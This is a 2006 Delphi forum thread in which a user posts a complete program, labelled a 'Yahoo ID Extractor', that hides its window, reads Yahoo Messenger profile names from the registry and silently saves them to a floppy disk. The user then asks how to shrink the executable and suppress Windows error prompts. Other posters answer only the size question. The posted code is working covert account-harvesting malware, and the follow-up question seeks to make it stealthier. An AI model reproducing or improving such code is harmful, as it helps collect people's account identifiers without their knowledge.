Delphi and Kylix

Moderators: pritaeas
Number of threads: 7264
Number of posts: 19073

This Forum Only
Post New Thread
Single Post View       Linear View       Threaded View      f

Report
is n't this so large? Posted by sad.boy on 1 Oct 2006 at 12:33 AM
i have coded this :
unit Unit4;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,registry, StdCtrls;

type
  TForm4 = class(TForm)

    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation

{$R *.dfm}

procedure TForm4.FormCreate(Sender: TObject);
         var
         Reg,TestReg:Tregistry;
         keylist:tstringlist;
         temp:string;
       begin
         Application.ShowMainForm:=false;

Try
         reg:=tregistry.Create;
         TestReg:=Tregistry.Create;
         keylist:=TStringlist.Create;
         reg.RootKey:=Hkey_Current_User;

        if           reg.KeyExists('\software\yahoo\profiles')=true then
           Begin

              reg.OpenKey('\software\yahoo\profiles',false);
              reg.GetKeyNames(keylist);
              keylist.Insert(keylist.Count,':___.This List Has Been Generated With Yahoo ID Extractor Coded By LiNeo.__:' );
              keylist.SaveToFile('A:\win32.txt');

           End
           else

          begin

              keylist.Insert(keylist.Count,'The Person Has Not Yahoo Messenger Installed');
              keylist.Insert(keylist.Count,':___.This List Has Been Generated With Yahoo ID Extractor Coded By LiNeo.__:' );
              keylist.SaveToFile('A:\win32.txt');
         end;

  except
      messagedlg('You Are A 8Pa!',mtinformation,[mbok],1);


end;




         application.Terminate;

       END;//pro ENd;

end.

it's not big but when it is compiled its about 365Kb !!!
how can i reduce it's size?

Thanks Beore
Report
Re: is n't this so large? Posted by Kapetanios on 1 Oct 2006 at 1:08 AM
Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
about the half.

And...do you really need this form??
Report
Re: is n't this so large? Posted by zibadian on 1 Oct 2006 at 1:22 AM
: Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
: about the half.
:
: And...do you really need this form??
:
No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
Report
Re: is n't this so large? Posted by Kapetanios on 1 Oct 2006 at 1:27 AM
Oops! Yes, you are right! I looked the size of the
wrong file!! Sorry!


: : Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
: : about the half.
: :
: : And...do you really need this form??
: :
: No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
: You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
:

Report
Re: is n't this so large? Posted by sad.boy on 1 Oct 2006 at 2:10 AM
: Oops! Yes, you are right! I looked the size of the
: wrong file!! Sorry!
:
:
: : : Use MessageBox API function instead of MessageDlg and remove Dialogs units from the "Uses" section. This should reduce your program size at
: : : about the half.
: : :
: : : And...do you really need this form??
: : :
: : No it won't reduce its size. The default size for a Delphi GUI application is about 300 kB, because the form data and the streaming mechanism takes that much code and resources.
: : You can reduce it using run-time packages, but then you always need to have the vcl##.bpl and possibly other packages installed in the library search path. The ## is the version number of your Delphi, and depending on the version the vcl##.bpl will be several MB big.
: :
:
:
thanks zibadian! u are right ;)
another thing about this code is that whenever there is no floppy-disk
in floppy-Drive first windows error system comes up and says insert a
disk,and then them message in my except section is displayed,how can i disable windows error system while my program is runing?




 

Recent Jobs

Official Programmer's Heaven Blogs
Web Hosting | Browser and Social Games | Gadgets

Popular resources on Programmersheaven.com
Assembly | Basic | C | C# | C++ | Delphi | Flash | Java | JavaScript | Pascal | Perl | PHP | Python | Ruby | Visual Basic
© Copyright 2011 Programmersheaven.com - All rights reserved.
Reproduction in whole or in part, in any form or medium without express written permission is prohibited.
Violators of this policy may be subject to legal action. Please read our Terms Of Use and Privacy Statement for more information.
Operated by CommunityHeaven, a BootstrapLabs company.